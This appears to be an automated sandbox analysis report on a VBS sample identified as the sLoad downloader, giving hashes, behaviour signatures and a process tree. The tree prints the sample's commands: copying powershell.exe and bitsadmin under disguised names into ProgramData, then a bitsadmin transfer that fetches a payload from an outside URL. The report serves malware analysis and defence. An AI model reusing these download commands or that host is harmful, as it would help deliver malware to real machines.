Analysis

  • max time kernel
    137s
  • max time network
    130s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240802-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
  • submitted
    13-08-2024 18:49

General

  • Target

    944f7974e1bf22df4ba5e26d9c0b045b_JaffaCakes118.vbs

  • Size

    9KB

  • MD5

    944f7974e1bf22df4ba5e26d9c0b045b

  • SHA1

    f23a0b2edf74ec6fa18dfd27cfc68606d919192d

  • SHA256

    8bffb5f01d123e3d6eb01393b78f1b179a70924ba38109f6e808a2635aebfafe

  • SHA512

    65dd8327c339c58e3e7aa15287d09f028fe16370eedfd3f672069c2e7c36d0cc30bff111f1d91292a570f99e758316892602aa9918695985cfd8d9b7d6e1e317

  • SSDEEP

    192:xaFYrF+KlavnTOxR7Xqy/xGSGf6bNQJ1L9wzT/jFDdFuF6:PrF+WavnTOr7XfxnGf6bNQJ1L9cLxDn

Malware Config

Signatures

  • sLoad

    sLoad is a PowerShell downloader that can exfiltrate system information and deliver additional payloads.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious use of WriteProcessMemory 9 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\944f7974e1bf22df4ba5e26d9c0b045b_JaffaCakes118.vbs"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:2184
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c cmd /c copy /Z c:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\ProgramData\aQASz.exe & cmd /c copy /Y /Z c:\Windows\SysWOW64\bi*.exe C:\ProgramData\FbaGius*.exe
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:968
      • C:\Windows\system32\cmd.exe
        cmd /c copy /Z c:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\ProgramData\aQASz.exe
        3⤵
          PID:2736
        • C:\Windows\system32\cmd.exe
          cmd /c copy /Y /Z c:\Windows\SysWOW64\bi*.exe C:\ProgramData\FbaGius*.exe
          3⤵
            PID:3448
        • C:\ProgramData\FbaGiusin.exe
          "C:\ProgramData\FbaGiusin.exe" /wrap /transfer skTzVfhZ https://linderosinmobiliaria.com/mobili/00434970174/developer.rtf C:\ProgramData\developer.rtf
          2⤵
          • Executes dropped EXE
          • System Location Discovery: System Language Discovery
          PID:1440

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

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      Downloads

      • C:\ProgramData\FbaGiusin.exe

        Filesize

        182KB

        MD5

        f57a03fa0e654b393bb078d1c60695f3

        SHA1

        1ced6636bd2462c0f1b64775e1981d22ae57af0b

        SHA256

        c93b7734470cf96c5170f7b21f361cdf3f74ca819626c83c4b8a68210deeb35c

        SHA512

        7e84dd9a3e29523d25c0927424261ced908191e3151c9802b61fa3c5fe13d1192d19996cb435bb6d9be5731b8370e8ffb6ad26a4ba0733e212a103eb0bd75a2a